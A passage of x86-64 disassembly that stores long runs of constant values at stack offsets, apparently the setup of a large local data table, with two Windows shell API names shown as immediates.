mov dword [rsp + 0x7b90], 0xb1e
mov dword [rsp + 0x7b94], 0x21a6
mov byte [rsp + 0x4a5], 0xe8
movabs rax, 0x7191a70c083cab
mov qword [rsp + 0xf930], rax
mov byte [rsp + 0x4a6], 0x5e
mov dword [rsp + 0x7b98], 0x75a2
mov byte [rsp + 0x4a7], 0x7a
movabs rax, 0x72b83b8a247e6b
mov qword [rsp + 0xf938], rax
mov byte [rsp + 0x4a8], 0xc7
mov dword [rsp + 0x7b9c], 0x6e3
mov dword [rsp + 0x7ba0], 0x1d8b
movabs rax, 0x71f2deaa4fd6fe
mov qword [rsp + 0xf940], rax
movabs rax, 0x791031b3358fa9
mov qword [rsp + 0xf948], rax
mov byte [rsp + 0x4a9], 0xb5
mov eax, 0x552
mov word [rsp + 0x24f8], ax
mov eax, 0x5d
mov word [rsp + 0x24fc], ax
mov dword [rsp + 0x7ba4], 0x7d07
mov dword [rsp + 0x7ba8], 0x8a97
mov eax, 0xed5
mov word [rsp + 0x2500], ax
mov eax, 0x3dd
mov word [rsp + 0x2504], ax
mov eax, 0x505
mov word [rsp + 0x2508], ax
mov eax, 0x2c9
mov word [rsp + 0x250c], ax
mov eax, 0x6e5
mov word [rsp + 0x2510], ax
mov dword [rsp + 0x7bac], 0xc4a
mov byte [rsp + 0x4aa], 0x2d
movabs rax, 0x714ad8cdf6da7b
mov qword [rsp + 0xf950], rax
movabs rax, 0x71602b130b4214
mov qword [rsp + 0xf958], rax
mov dword [rsp + 0x7bb0], 0x4bc9
mov eax, 0xb53
mov word [rsp + 0x2514], ax
mov byte [rsp + 0x4ab], 0x9f
mov byte [rsp + 0x4ac], 0x4a
mov dword [rsp + 0x7bb4], 0x358
mov byte [rsp + 0x4ad], 0xb9
movabs rax, 0x7625635abb232b
mov qword [rsp + 0xf960], rax
mov dword [rsp + 0x7bb8], 0x7102
mov dword [rsp + 0x7bbc], 0xa16e
mov eax, 0xf4d
mov word [rsp + 0x2518], ax
movabs rax, 0x740fe6f9abf5af
mov qword [rsp + 0xf968], rax
movabs rax, 0x7e8c72cd95f659
mov qword [rsp + 0xf970], rax
mov dword [rsp + 0x7bc0], 0x6253
movabs rax, 0x778c321f01959b
mov qword [rsp + 0xf978], rax
mov byte [rsp + 0x4ae], 0x28
mov dword [rsp + 0x7bc4], 0x6397
movabs rax, 0x76ba66953c3c75
mov qword [rsp + 0xf980], rax
mov eax, 0x7ad
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x7bc8], 0x1e6f
mov eax, 0x306
mov word [rsp + 0x2520], ax
movabs rax, 0x7a4f770af9790b
mov qword [rsp + 0xf988], rax
movabs rax, 0x7ddc9306d896e3
mov qword [rsp + 0xf990], rax
mov dword [rsp + 0x7bcc], 0x1017
mov byte [rsp + 0x4af], 0x27
movabs rax, 0x73977cc538adf9
mov qword [rsp + 0xf998], rax
movabs rax, 0x79462a5ca9a742
mov qword [rsp + 0xf9a0], rax
mov dword [rsp + 0x7bd0], 0x5e4b
mov byte [rsp + 0x4b0], 0xc1
mov eax, 0xcfd
mov word [rsp + 0x2524], ax
mov byte [rsp + 0x4b1], 0x3c
mov dword [rsp + 0x7bd4], 0xcffa
movabs rax, 0x763cf8747ec6e7
mov qword [rsp + 0xf9a8], rax
mov byte [rsp + 0x4b2], 0x4c
movabs rax, 0x70b0cdf18075a5
mov qword [rsp + 0xf9b0], rax
mov dword [rsp + 0x7bd8], 0xf6b3
mov eax, 0x702
mov word [rsp + 0x2528], ax
mov eax, 0x443
mov word [rsp + 0x252c], ax
movabs rax, 0x7af185f4e41868
mov qword [rsp + 0xf9b8], rax
mov dword [rsp + 0x7bdc], 0x1e99
movabs rax, 0x70ab56f1fbc667
mov qword [rsp + 0xf9c0], rax
mov eax, 0x3cf
mov word [rsp + 0x2530], ax
mov eax, 0x2a0
mov word [rsp + 0x2534], ax
movabs rax, 0x7eb8fe3e3323e5
mov qword [rsp + 0xf9c8], rax
mov byte [rsp + 0x4b3], 0x50
mov byte [rsp + 0x4b4], 0xa2
mov dword [rsp + 0x7be0], 0x2e07
mov eax, 0x783
mov word [rsp + 0x2538], ax
movabs rax, 0x710ba0a2dd64c9
mov qword [rsp + 0xf9d0], rax
mov dword [rsp + 0x7be4], 0x7d73
mov byte [rsp + 0x4b5], 0xa3
mov eax, 0x8f6
mov word [rsp + 0x253c], ax
mov dword [rsp + 0x7be8], 0x40bf
mov byte [rsp + 0x4b6], 6
mov byte [rsp + 0x4b7], 1
mov dword [rsp + 0x7bec], 0x3665
mov dword [rsp + 0x7bf0], 0x4cf
mov byte [rsp + 0x4b8], 0xb
movabs rax, 0x760a39170db8df
mov qword [rsp + 0xf9d8], rax
movabs rax, 0x76ae1dde73b55e
mov qword [rsp + 0xf9e0], rax
mov byte [rsp + 0x4b9], 0x9d
mov eax, 0x65
mov word [rsp + 0x2540], ax
mov byte [rsp + 0x4ba], 0xfb
mov byte [rsp + 0x4bb], 0xbd
mov byte [rsp + 0x4bc], 0xde
mov byte [rsp + 0x4bd], 0x73
mov eax, 0x34
mov word [rsp + 0x2544], ax
movabs rax, 0x780cbd5f29fcd0
mov qword [rsp + 0xf9e8], rax
mov dword [rsp + 0x7bf4], 0x3d6b
mov dword [rsp + 0x7bf8], 0x7175
movabs rax, 0x79b85425e63280
mov qword [rsp + 0xf9f0], rax
mov dword [rsp + 0x7bfc], 0x5a22
mov dword [rsp + 0x7c00], 0xa9be
mov byte [rsp + 0x4be], 0x9b
mov eax, 0x1b5
mov word [rsp + 0x2548], ax
mov eax, 0x21b
mov word [rsp + 0x254c], ax
mov dword [rsp + 0x7c04], 0xbb73
movabs rax, 0x77a7f1db26b740
mov qword [rsp + 0xf9f8], rax
movabs rax, 0x78dab2e55f3838
mov qword [rsp + 0xfa00], rax
mov eax, 0x472
mov word [rsp + 0x2550], ax
mov dword [rsp + 0x7c08], 0xb217
movabs rax, 0x795b8df0eddaea
mov qword [rsp + 0xfa08], rax
mov dword [rsp + 0x7c0c], 0x631b
mov dword [rsp + 0x7c10], 0x6c80
movabs rax, 0x7c96fca8ef67a8
mov qword [rsp + 0xfa10], rax
mov dword [rsp + 0x7c14], 0x160d
movabs rax, 0x7d9174163bdba8
mov qword [rsp + 0xfa18], rax
movabs rax, 0x75bea9c8c309fa
mov qword [rsp + 0xfa20], rax
mov byte [rsp + 0x4bf], 0x43
mov dword [rsp + 0x7c18], 0x3d21
movabs rax, 0x751ed1ddcbe532
mov qword [rsp + 0xfa28], rax
mov byte [rsp + 0x4c0], 0x2a
movabs rax, 0x7c28a56d9eebf6
mov qword [rsp + 0xfa30], rax
mov eax, 0x657
mov word [rsp + 0x2554], ax
mov byte [rsp + 0x4c1], 0x7f
mov eax, 0x9f3
mov word [rsp + 0x2558], ax
mov dword [rsp + 0x7c1c], 0x1dc0
mov eax, 0x71e
mov word [rsp + 0x255c], ax
mov eax, 0xda
mov word [rsp + 0x2560], ax
mov dword [rsp + 0x7c20], 0x167
mov eax, 0x274
mov word [rsp + 0x2564], ax
mov byte [rsp + 0x4c2], 0xf7
movabs rax, 0x7cc270a65b62e1
mov qword [rsp + 0xfa38], rax
mov byte [rsp + 0x4c3], 0xe6
mov dword [rsp + 0x7c24], 0x1d53
mov byte [rsp + 0x4c4], 0x1d
movabs rax, 0x7487db67f6600a
mov qword [rsp + 0xfa40], rax
movabs rax, 0x7e7d5639dcde15
mov qword [rsp + 0xfa48], rax
mov dword [rsp + 0x7c28], 0xfde0
mov dword [rsp + 0x7c2c], 0x3448
mov byte [rsp + 0x4c5], 0x2b
mov byte [rsp + 0x4c6], 0x3a
mov eax, 0x7d
mov word [rsp + 0x2568], ax
movabs rax, 0x7e7a4f45e46497
mov qword [rsp + 0xfa50], rax
mov eax, 0x8cc
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x7c30], 0x5291
movabs rax, 0x79f561462ce647
mov qword [rsp + 0xfa58], rax
mov dword [rsp + 0x7c34], 0x4fc1
mov dword [rsp + 0x7c38], 0xd5c
movabs rax, 0x7b2450ef7ffedf
mov qword [rsp + 0xfa60], rax
mov byte [rsp + 0x4c7], 0x44
mov dword [rsp + 0x7c3c], 0x11ce
mov dword [rsp + 0x7c40], 0x20bd
movabs rax, 0x702b9c66ae6ce3
mov qword [rsp + 0xfa68], rax
mov byte [rsp + 0x4c8], 0x7e
mov dword [rsp + 0x7c44], 0x2d4c
mov dword [rsp + 0x7c48], 0x729
mov eax, 0x7ac
mov word [rsp + 0x2570], ax
mov byte [rsp + 0x4c9], 0xf8
movabs rax, 0x7c47f8c7ee434e
mov qword [rsp + 0xfa70], rax
mov dword [rsp + 0x7c4c], 0xed00
movabs rax, 0x7105fdfa151096
mov qword [rsp + 0xfa78], rax
mov eax, PathMakeUniqueName
mov word [rsp + 0x2574], ax
mov byte [rsp + 0x4ca], 0x77
mov byte [rsp + 0x4cb], 0x52
mov eax, 0xde8
mov word [rsp + 0x2578], ax
mov byte [rsp + 0x4cc], 0x4f
mov eax, 0x2d5
mov word [rsp + 0x257c], ax
mov eax, 0x1ea
mov word [rsp + 0x2580], ax
mov byte [rsp + 0x4cd], 0x36
mov byte [rsp + 0x4ce], 0x66
mov dword [rsp + 0x7c50], 0xf259
mov eax, 0x4fa
mov word [rsp + 0x2584], ax
movabs rax, 0x7c0db468162733
mov qword [rsp + 0xfa80], rax
mov eax, 0x767
mov word [rsp + 0x2588], ax
movabs rax, 0x7496ca7e95b529
mov qword [rsp + 0xfa88], rax
movabs rax, 0x7570d2d1229bff
mov qword [rsp + 0xfa90], rax
mov eax, 0x467
mov word [rsp + 0x258c], ax
mov eax, 0xe39
mov word [rsp + 0x2590], ax
movabs rax, 0x77e9aec19ac837
mov qword [rsp + 0xfa98], rax
mov byte [rsp + 0x4cf], 0xfe
mov eax, 0xcf4
mov word [rsp + 0x2594], ax
mov dword [rsp + 0x7c54], 0x7911
mov dword [rsp + 0x7c58], 0x4e3e
mov eax, 0x312
mov word [rsp + 0x2598], ax
movabs rax, 0x7bd651ebfc5eeb
mov qword [rsp + 0xfaa0], rax
movabs rax, 0x771a3f0368e79f
mov qword [rsp + 0xfaa8], rax
mov eax, 0xb4f
mov word [rsp + 0x259c], ax
mov byte [rsp + 0x4d0], 0x1f
mov dword [rsp + 0x7c5c], 0x8785
movabs rax, 0x749b0b77a899d2
mov qword [rsp + 0xfab0], rax
mov eax, 0x45e
mov word [rsp + 0x25a0], ax
movabs rax, 0x792fed6b97dca4
mov qword [rsp + 0xfab8], rax
mov byte [rsp + 0x4d1], 0x6f
mov eax, SHDoDragDrop
mov word [rsp + 0x25a4], ax
mov eax, 0x5e0
mov word [rsp + 0x25a8], ax
mov eax, 0x2e8
mov word [rsp + 0x25ac], ax
mov byte [rsp + 0x4d2], 0xe4
mov byte [rsp + 0x4d3], 0x8c
mov dword [rsp + 0x7c60], 0x6a2d
movabs rax, 0x761da8b4a6ee00
mov qword [rsp + 0xfac0], rax
mov dword [rsp + 0x7c64], 0x3eea
mov byte [rsp + 0x4d4], 0x1b
mov dword [rsp + 0x7c68], 0x1752
movabs rax, 0x7423c7f4486e2d
mov qword [rsp + 0xfac8], rax
mov dword [rsp + 0x7c6c], 0x1ecc
mov eax, 9
mov word [rsp + 0x25b0], ax
mov eax, 0xbf5
mov word [rsp + 0x25b4], ax
movabs rax, 0x7768b547d4d91d
mov qword [rsp + 0xfad0], rax
movabs rax, 0x7bca0c437e9da4
mov qword [rsp + 0xfad8], rax
mov byte [rsp + 0x4d5], 0xab
movabs rax, 0x777c489c44cea1
mov qword [rsp + 0xfae0], rax
movabs rax, 0x725efa57eba474
mov qword [rsp + 0xfae8], rax
mov eax, 0x677
mov word [rsp + 0x25b8], ax
mov dword [rsp + 0x7c70], 0x5038
movabs rax, 0x704b833a52d84b
mov qword [rsp + 0xfaf0], rax
movabs rax, 0x7e4ab7a7d93d13
mov qword [rsp + 0xfaf8], rax
movabs rax, 0x78a7fe8724c9e3
mov qword [rsp + 0xfb00], rax
mov dword [rsp + 0x7c74], 0xdaba
mov byte [rsp + 0x4d6], 0x22
mov dword [rsp + 0x7c78], 0x59c8
movabs rax, 0x787ef33cabece1
mov qword [rsp + 0xfb08], rax
mov byte [rsp + 0x4d7], 0x90
mov byte [rsp + 0x4d8], 0xb2
movabs rax, 0x73640ad06caa9c
mov qword [rsp + 0xfb10], rax
movabs rax, 0x79a56c58a30eab
mov qword [rsp + 0xfb18], rax
mov byte [rsp + 0x4d9], 0xc9
mov byte [rsp + 0x4da], 0x83
movabs rax, 0x7e5793bf0d5b73
mov qword [rsp + 0xfb20], rax
mov eax, 0x431
mov word [rsp + 0x25bc], ax
mov byte [rsp + 0x4db], 0x13
mov eax, 0x604
mov word [rsp + 0x25c0], ax
movabs rax, 0x7efa1794063d8d
mov qword [rsp + 0xfb28], rax
movabs rax, 0x7d0267dc9c75aa
mov qword [rsp + 0xfb30], rax
movabs rax, 0x702745bbc55e6b
mov qword [rsp + 0xfb38], rax
movabs rax, 0x783e65d0debc1a
mov qword [rsp + 0xfb40], rax
mov eax, 0x50f
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0x7c7c], 0xfe35
mov byte [rsp + 0x4dc], 0x28
mov byte [rsp + 0x4dd], 0x45
mov dword [rsp + 0x7c80], 0x4225
mov byte [rsp + 0x4de], 0x58
movabs rax, 0x75ca658658c46b
mov qword [rsp + 0xfb48], rax
movabs rax, 0x796524cf95667a
mov qword [rsp + 0xfb50], rax
movabs rax, 0x7a2bf35ded70c0
mov qword [rsp + 0xfb58], rax
movabs rax, 0x7ac91075e59437
mov qword [rsp + 0xfb60], rax
mov dword [rsp + 0x7c84], 0x707a
movabs rax, 0x72cea789718ad8
mov qword [rsp + 0xfb68], rax
mov dword [rsp + 0x7c88], 0x5edf
mov dword [rsp + 0x7c8c], 0x113
mov eax, 0x7c6
mov word [rsp + 0x25c8], ax
movabs rax, 0x76b1702b3af666
mov qword [rsp + 0xfb70], rax
mov byte [rsp + 0x4df], 0x67
movabs rax, 0x79f5b471cb4662
mov qword [rsp + 0xfb78], rax
mov dword [rsp + 0x7c90], 0x3028
mov dword [rsp + 0x7c94], 0xf3e1
movabs rax, 0x7a994496969367
mov qword [rsp + 0xfb80], rax
mov eax, 0x28a
mov word [rsp + 0x25cc], ax
movabs rax, 0x7ec9cc6f21dff0
mov qword [rsp + 0xfb88], rax
mov eax, 0xfb
mov word [rsp + 0x25d0], ax
mov byte [rsp + 0x4e0], 0x3f
mov byte [rsp + 0x4e1], 0x45
mov byte [rsp + 0x4e2], 0x47
mov byte [rsp + 0x4e3], 0xc1
mov byte [rsp + 0x4e4], 0x55
mov byte [rsp + 0x4e5], 0x41
mov eax, 0x3e6
mov word [rsp + 0x25d4], ax
movabs rax, 0x7e98458beb91fd
mov qword [rsp + 0xfb90], rax
movabs rax, 0x7d11257125e100
mov qword [rsp + 0xfb98], rax
mov eax, 0x434
mov word [rsp + 0x25d8], ax
mov eax, 0x3ea
mov word [rsp + 0x25dc], ax
movabs rax, 0x72d7d6e512c44b
mov qword [rsp + 0xfba0], rax
mov eax, 0xbae
mov word [rsp + 0x25e0], ax
mov byte [rsp + 0x4e6], 0xf
movabs rax, 0x720e7d12c1c214
mov qword [rsp + 0xfba8], rax
mov eax, 0x11d
mov word [rsp + 0x25e4], ax
mov byte [rsp + 0x4e7], 0xb4
mov byte [rsp + 0x4e8], 0x57
mov eax, 0x57d
mov word [rsp + 0x25e8], ax
mov eax, 0x705
mov word [rsp + 0x25ec], ax
mov dword [rsp + 0x7c98], 0x280a
mov eax, 0x677
mov word [rsp + 0x25f0], ax
mov eax, 0x6e7
mov word [rsp + 0x25f4], ax
mov dword [rsp + 0x7c9c], 0xedf1
movabs rax, 0x7bef2479cd418d
mov qword [rsp + 0xfbb0], rax
movabs rax, 0x721298cb1f439c
mov qword [rsp + 0xfbb8], rax
movabs rax, 0x7df180572451ee
mov qword [rsp + 0xfbc0], rax
movabs rax, 0x794a41cd2b2a0c
mov qword [rsp + 0xfbc8], rax
mov dword [rsp + 0x7ca0], 0xf30c
mov eax, 0x72
mov word [rsp + 0x25f8], ax
mov eax, 0xe3
mov word [rsp + 0x25fc], ax
movabs rax, 0x76314ac551448e
mov qword [rsp + 0xfbd0], rax
mov eax, 0x3ee
mov word [rsp + 0x2600], ax
mov dword [rsp + 0x7ca4], 0x750b
mov eax, 0x51e
mov word [rsp + 0x2604], ax
mov dword [rsp + 0x7ca8], 0x4367
mov dword [rsp + 0x7cac], 0x45b4
mov dword [rsp + 0x7cb0], 0x26f2
movabs rax, 0x776ae7262bd9da
mov qword [rsp + 0xfbd8], rax
mov byte [rsp + 0x4e9], 0x5d
mov byte [rsp + 0x4ea], 0x5e
mov dword [rsp + 0x7cb4], 0x9cf8
movabs rax, 0x7509a68791b51a
mov qword [rsp + 0xfbe0], rax
mov dword [rsp + 0x7cb8], 0x3bbe
mov dword [rsp + 0x7cbc], 0xa4e6
movabs rax, 0x71c4428900fc64
mov qword [rsp + 0xfbe8], rax
mov eax, 0x4a4
mov word [rsp + 0x2608], ax
movabs rax, 0x7ee16e088274ca
mov qword [rsp + 0xfbf0], rax
mov byte [rsp + 0x4eb], 0x4a
mov dword [rsp + 0x7cc0], 0x4db
mov dword [rsp + 0x7cc4], 0x55fd
mov byte [rsp + 0x4ec], 5
movabs rax, 0x74b45927906c43
mov qword [rsp + 0xfbf8], rax
mov dword [rsp + 0x7cc8], 0xb562
mov dword [rsp + 0x7ccc], 0xc2c
movabs rax, 0x718c14278ff73b
mov qword [rsp + 0xfc00], rax
movabs rax, 0x70d3d46ea03298
mov qword [rsp + 0xfc08], rax
mov dword [rsp + 0x7cd0], 0x3104
mov byte [rsp + 0x4ed], 0x98
mov byte [rsp + 0x4ee], 0xcb
movabs rax, 0x72a382cba13cd5
mov qword [rsp + 0xfc10], rax
mov eax, 0xa04
mov word [rsp + 0x260c], ax
mov eax, 0xf56
mov word [rsp + 0x2610], ax
mov dword [rsp + 0x7cd4], 0x56ba
mov eax, 0x7ce
mov word [rsp + 0x2614], ax
mov eax, 0x178
mov word [rsp + 0x2618], ax
movabs rax, 0x7e67e77f3b0f6c
mov qword [rsp + 0xfc18], rax
mov byte [rsp + 0x4ef], 0x36
movabs rax, 0x766fc1ad2381fc
mov qword [rsp + 0xfc20], rax
movabs rax, 0x7dcd50e6df92eb
mov qword [rsp + 0xfc28], rax
mov dword [rsp + 0x7cd8], 0x236a
mov byte [rsp + 0x4f0], 0x53
mov dword [rsp + 0x7cdc], 0xc8f2
movabs rax, 0x79da64b0df800c
mov qword [rsp + 0xfc30], rax
mov byte [rsp + 0x4f1], 0x8d
mov byte [rsp + 0x4f2], 0xda
mov eax, 0x9cd
mov word [rsp + 0x261c], ax
mov dword [rsp + 0x7ce0], 0x1283
mov dword [rsp + 0x7ce4], 0x362d
mov eax, 0x255
mov word [rsp + 0x2620], ax
movabs rax, 0x7460d1a7e0f714
mov qword [rsp + 0xfc38], rax
movabs rax, 0x75c4c8bfeecef8
mov qword [rsp + 0xfc40], rax
mov byte [rsp + 0x4f3], 0x70
mov eax, 0x728
mov word [rsp + 0x2624], ax
mov dword [rsp + 0x7ce8], 0xe0d8
mov eax, 0xdc9
mov word [rsp + 0x2628], ax
mov byte [rsp + 0x4f4], 0x33
mov dword [rsp + 0x7cec], 0xa307
mov dword [rsp + 0x7cf0], 0x5cf6
movabs rax, 0x7a0f5236a643b1
mov qword [rsp + 0xfc48], rax
mov dword [rsp + 0x7cf4], 0x435e
mov dword [rsp + 0x7cf8], 0x5ba7
mov dword [rsp + 0x7cfc], 0x706d
movabs rax, 0x78e31615a4f08f
mov qword [rsp + 0xfc50], rax
mov byte [rsp + 0x4f5], 0xdb
mov eax, 0x682
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x7d00], 0x1bd7
mov dword [rsp + 0x7d04], 0x6fe2
mov dword [rsp + 0x7d08], 0x1f3b
mov dword [rsp + 0x7d0c], 0x7f8a
mov byte [rsp + 0x4f6], 0x14
movabs rax, 0x7852f94b01aec9
mov qword [rsp + 0xfc58], rax
mov byte [rsp + 0x4f7], 0xaf
mov byte [rsp + 0x4f8], 0x41
movabs rax, 0x7d5a436ddebcc7
mov qword [rsp + 0xfc60], rax
movabs rax, 0x79a053eedfc50c
mov qword [rsp + 0xfc68], rax
mov dword [rsp + 0x7d10], 0x2e5b
mov eax, 0xabb
mov word [rsp + 0x2630], ax
mov dword [rsp + 0x7d14], 0x6511
mov dword [rsp + 0x7d18], 0x746b
mov dword [rsp + 0x7d1c], 0x1af2
mov eax, 0x3f2
mov word [rsp + 0x2634], ax
mov eax, 0xd1e
mov word [rsp + 0x2638], ax
mov eax, 0xac6
mov word [rsp + 0x263c], ax
mov eax, 0x2b3
mov word [rsp + 0x2640], ax
mov eax, 0x23f
mov word [rsp + 0x2644], ax
mov eax, 0x81
mov word [rsp + 0x2648], ax
mov byte [rsp + 0x4f9], 0x54
mov eax, 0x154
mov word [rsp + 0x264c], ax
mov eax, 0x555
mov word [rsp + 0x2650], ax
mov eax, 0x7dd
mov word [rsp + 0x2654], ax
mov byte [rsp + 0x4fa], 0x46
movabs rax, 0x79565d186d6cf2
mov qword [rsp + 0xfc70], rax
mov eax, 0xbf9
mov word [rsp + 0x2658], ax
mov eax, 0x603
mov word [rsp + 0x265c], ax
movabs rax, 0x7c0e96a3975be1
mov qword [rsp + 0xfc78], rax
mov eax, 0x2b1
mov word [rsp + 0x2660], ax
mov byte [rsp + 0x4fb], 0x40
movabs rax, 0x75653c117c36d6
mov qword [rsp + 0xfc80], rax
mov eax, 0x28f
mov word [rsp + 0x2664], ax
movabs rax, 0x7b19116689840c
mov qword [rsp + 0xfc88], rax
movabs rax, 0x7b6ca3267604a4
mov qword [rsp + 0xfc90], rax
mov eax, 0xd7a
mov word [rsp + 0x2668], ax
movabs rax, 0x756b982cd8cac8
mov qword [rsp + 0xfc98], rax
movabs rax, 0x7677200b620a08
mov qword [rsp + 0xfca0], rax
movabs rax, 0x786fe74612d75d
mov qword [rsp + 0xfca8], rax
movabs rax, 0x7b93bdb8bbe550
mov qword [rsp + 0xfcb0], rax
mov byte [rsp + 0x4fc], 0x5d
movabs rax, 0x7bd1ff399b52f2
mov qword [rsp + 0xfcb8], rax
mov eax, 0x151
mov word [rsp + 0x266c], ax
mov dword [rsp + 0x7d20], 0x10c0
mov byte [rsp + 0x4fd], 0x3b
mov byte [rsp + 0x4fe], 0xa
mov dword [rsp + 0x7d24], 0x23a1
movabs rax, 0x7199cd32f0d76c
mov qword [rsp + 0xfcc0], rax
mov byte [rsp + 0x4ff], 0xb3
movabs rax, 0x76ee0f9f8f5bdc
mov qword [rsp + 0xfcc8], rax
mov dword [rsp + 0x7d28], 0xc78
mov byte [rsp + 0x500], 0x19
mov eax, 0x584
mov word [rsp + 0x2670], ax
mov dword [rsp + 0x7d2c], 0x4c1
mov eax, 0x540
mov word [rsp + 0x2674], ax
mov byte [rsp + 0x501], 0x33
mov eax, 0x132
mov word [rsp + 0x2678], ax
mov dword [rsp + 0x7d30], 0x4bd2
mov eax, 0x6f
mov word [rsp + 0x267c], ax
movabs rax, 0x751d953f25da4c
mov qword [rsp + 0xfcd0], rax
mov dword [rsp + 0x7d34], 0xa938
mov byte [rsp + 0x502], 0x91
mov dword [rsp + 0x7d38], 0x18b8
mov eax, 0x790
mov word [rsp + 0x2680], ax
mov eax, 0x414
mov word [rsp + 0x2684], ax
mov dword [rsp + 0x7d3c], 0x6afa
mov eax, 0x153
mov word [rsp + 0x2688], ax
movabs rax, 0x78f43a68675222
mov qword [rsp + 0xfcd8], rax
movabs rax, 0x73be0df996a81f
mov qword [rsp + 0xfce0], rax
mov eax, 0x61
mov word [rsp + 0x268c], ax
movabs rax, 0x72cf67a4a5bb5b
mov qword [rsp + 0xfce8], rax
movabs rax, 0x7d0fe36b4c8445
mov qword [rsp + 0xfcf0], rax
mov byte [rsp + 0x503], 0x96
mov dword [rsp + 0x7d40], 0x77c3
mov dword [rsp + 0x7d44], 0xdc33
mov dword [rsp + 0x7d48], 0x4e81
movabs rax, 0x7b02d33c073da3
mov qword [rsp + 0xfcf8], rax
mov eax, 0x2ab
mov word [rsp + 0x2690], ax
movabs rax, 0x7b43a67b26c6b0
mov qword [rsp + 0xfd00], rax
mov dword [rsp + 0x7d4c], 0x2b18
mov eax, 0xa1c
mov word [rsp + 0x2694], ax
mov dword [rsp + 0x7d50], 0x2bdc
movabs rax, 0x73cdd293486646
mov qword [rsp + 0xfd08], rax
mov dword [rsp + 0x7d54], 0x57bf
mov dword [rsp + 0x7d58], 0x1dbe
mov byte [rsp + 0x504], 0xec
mov byte [rsp + 0x505], 0xe6
mov dword [rsp + 0x7d5c], 0x4599
movabs rax, 0x722e4e0a83e822
mov qword [rsp + 0xfd10], rax
mov byte [rsp + 0x506], 0xfd
mov byte [rsp + 0x507], 0x8b
mov dword [rsp + 0x7d60], 0x7cfe
mov eax, 0x4b2
mov word [rsp + 0x2698], ax
movabs rax, 0x7a3dab6202f6ab
mov qword [rsp + 0xfd18], rax
mov dword [rsp + 0x7d64], 0x182f
mov eax, 0x358
mov word [rsp + 0x269c], ax
movabs rax, 0x7a81dcaee6e712
mov qword [rsp + 0xfd20], rax
mov eax, 0x1b2
mov word [rsp + 0x26a0], ax
mov eax, 0x187
mov word [rsp + 0x26a4], ax
mov byte [rsp + 0x508], 0xe0
mov eax, 0x12d
mov word [rsp + 0x26a8], ax
mov eax, 0x540
mov word [rsp + 0x26ac], ax
mov dword [rsp + 0x7d68], 0x2ffd
mov dword [rsp + 0x7d6c], 0xe425
mov byte [rsp + 0x509], 0x46
movabs rax, 0x7bf409ddadc76b
mov qword [rsp + 0xfd28], rax
mov dword [rsp + 0x7d70], 0x2a04
movabs rax, 0x7bc76c5f43a7e4
mov qword [rsp + 0xfd30], rax
mov byte [rsp + 0x50a], 0x6a
movabs rax, 0x7ade3de3313053
mov qword [rsp + 0xfd38], rax
movabs rax, 0x761a164b1225ef
mov qword [rsp + 0xfd40], rax
mov dword [rsp + 0x7d74], 0xf7b2
mov dword [rsp + 0x7d78], 0xc3dd
mov byte [rsp + 0x50b], 0x19
mov byte [rsp + 0x50c], 0xd8
mov eax, 0xeaf
mov word [rsp + 0x26b0], ax
movabs rax, 0x7a6383e89ab1f9
mov qword [rsp + 0xfd48], rax
mov dword [rsp + 0x7d7c], 0x278a
mov byte [rsp + 0x50d], 0x13
mov byte [rsp + 0x50e], 0xfa
movabs rax, 0x7c43c4c11c181c
mov qword [rsp + 0xfd50], rax
movabs rax, 0x7921dae7bb97fd
mov qword [rsp + 0xfd58], rax
movabs rax, 0x7524d77af19d58
mov qword [rsp + 0xfd60], rax
mov eax, 0x75d
mov word [rsp + 0x26b4], ax
mov dword [rsp + 0x7d80], 0xcbd2
mov eax, 0x9d4
mov word [rsp + 0x26b8], ax
mov byte [rsp + 0x50f], 0x97
mov eax, 0x288
mov word [rsp + 0x26bc], ax
mov byte [rsp + 0x510], 0x44
mov byte [rsp + 0x511], 0x3c
mov byte [rsp + 0x512], 0xad
mov eax, 0xd86
mov word [rsp + 0x26c0], ax
mov byte [rsp + 0x513], 0x7d
movabs rax, 0x746e6b93d1994a
mov qword [rsp + 0xfd68], rax
mov eax, 0x3b
mov word [rsp + 0x26c4], ax
mov eax, 0x746
mov word [rsp + 0x26c8], ax
movabs rax, 0x73dcf9d6fee403
mov qword [rsp + 0xfd70], rax
mov eax, 0x1e
mov word [rsp + 0x26cc], ax
mov byte [rsp + 0x514], 0x8f
mov eax, 0xdc0
mov word [rsp + 0x26d0], ax
mov dword [rsp + 0x7d84], 0x2feb
movabs rax, 0x7ac7db715ac2ce
mov qword [rsp + 0xfd78], rax
movabs rax, 0x7d6f7170a5c39a
mov qword [rsp + 0xfd80], rax
mov eax, 0x2c0
mov word [rsp + 0x26d4], ax
mov eax, 0xf44
mov word [rsp + 0x26d8], ax
mov dword [rsp + 0x7d88], 0x55c4
mov byte [rsp + 0x515], 0x6f
mov byte [rsp + 0x516], 0x63
mov byte [rsp + 0x517], 0x23
movabs rax, 0x7d10b0a3e23bfc
mov qword [rsp + 0xfd88], rax
mov dword [rsp + 0x7d8c], 0x2175
movabs rax, 0x795509667f579f
mov qword [rsp + 0xfd90], rax
mov eax, 0x55c
mov word [rsp + 0x26dc], ax
movabs rax, 0x76a3418c8da64b
mov qword [rsp + 0xfd98], rax
mov eax, 0x25f
mov word [rsp + 0x26e0], ax
mov eax, 0x614
mov word [rsp + 0x26e4], ax
mov eax, 0x2e2
mov word [rsp + 0x26e8], ax
movabs rax, 0x705732878e2a90
mov qword [rsp + 0xfda0], rax
mov eax, 0x1b
mov word [rsp + 0x26ec], ax
mov eax, 0x7eb
mov word [rsp + 0x26f0], ax
mov eax, 0x371
mov word [rsp + 0x26f4], ax
mov byte [rsp + 0x518], 0x35
movabs rax, 0x7e60b41f377bb6
mov qword [rsp + 0xfda8], rax
mov byte [rsp + 0x519], 0
mov byte [rsp + 0x51a], 0xa0
mov dword [rsp + 0x7d90], 0xe12e
mov eax, 0x941
mov word [rsp + 0x26f8], ax
movabs rax, 0x7137cf4f9fb576
mov qword [rsp + 0xfdb0], rax
mov dword [rsp + 0x7d94], 0x7ba1
mov dword [rsp + 0x7d98], 0xd815
mov dword [rsp + 0x7d9c], 0x12dd
movabs rax, 0x76abb26d7ac027
mov qword [rsp + 0xfdb8], rax
mov byte [rsp + 0x51b], 0xd5
mov eax, 0x14f
mov word [rsp + 0x26fc], ax
movabs rax, 0x7a6e329662f488
mov qword [rsp + 0xfdc0], rax
mov eax, 0x515
mov word [rsp + 0x2700], ax
mov dword [rsp + 0x7da0], 0x5e2a
mov byte [rsp + 0x51c], 0x5f
